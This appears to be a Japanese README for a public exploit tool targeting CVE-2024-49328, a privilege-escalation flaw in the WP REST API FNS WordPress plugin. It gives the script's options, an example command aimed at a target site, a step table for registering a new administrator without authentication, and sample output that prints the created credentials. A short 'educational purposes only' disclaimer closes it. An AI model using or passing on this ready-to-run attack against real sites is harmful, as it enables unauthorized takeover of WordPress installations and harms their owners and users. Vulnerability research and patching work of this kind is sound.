nxploited/cve-2024-49328-exploitWP REST API FNS WordPress プラグインの権限昇格の脆弱性を悪用し、認証なしで管理者アカウントを作成できるようにするPythonスクリプト。
このスクリプトは、WordPress 用 WP REST API FNS プラグインの権限昇格の脆弱性を悪用します。この脆弱性は 1.0.0 までの全バージョンに影響し、認証されていない攻撃者が管理者権限を取得できるようにします。
options:
-h, --help show this help message and exit
-u URL, --url URL Base URL of the WordPress site
-e NEWEMAIL, --Newemail NEWEMAIL New email to register
-p PASSWORD, --password PASSWORD Password for the new user
コマンド例:
python CVE-2024-49328.py -u http://targetsite.com -e [email protected] -p password123
| ステップ | 説明 | アイコン |
|---|---|---|
| ステップ 1 | プラグインのバージョンを確認します。 | 📝 |
| ステップ 2 | バージョンが悪用可能かどうかを確認します（1.0.0 以下）。 | ✅ |
| ステップ 3 | 脆弱性を悪用して新しい管理者ユーザーを登録します。 | 🔒 |
| ステップ 4 | 確認用にユーザー資格情報とともに結果を出力します。 | 🎉 |
Found Stable tag version: 1.0.0
Version 1.0.0 is exploitable.
Exploiting the site... Please wait.
Successfully
Username: [email protected]
Password: nxploit
pip install requests
🚨 警告:
このスクリプトは教育目的のみで提供されています。明示的な許可なくシステムに対してこのスクリプトを使用することは、違法かつ非倫理的です。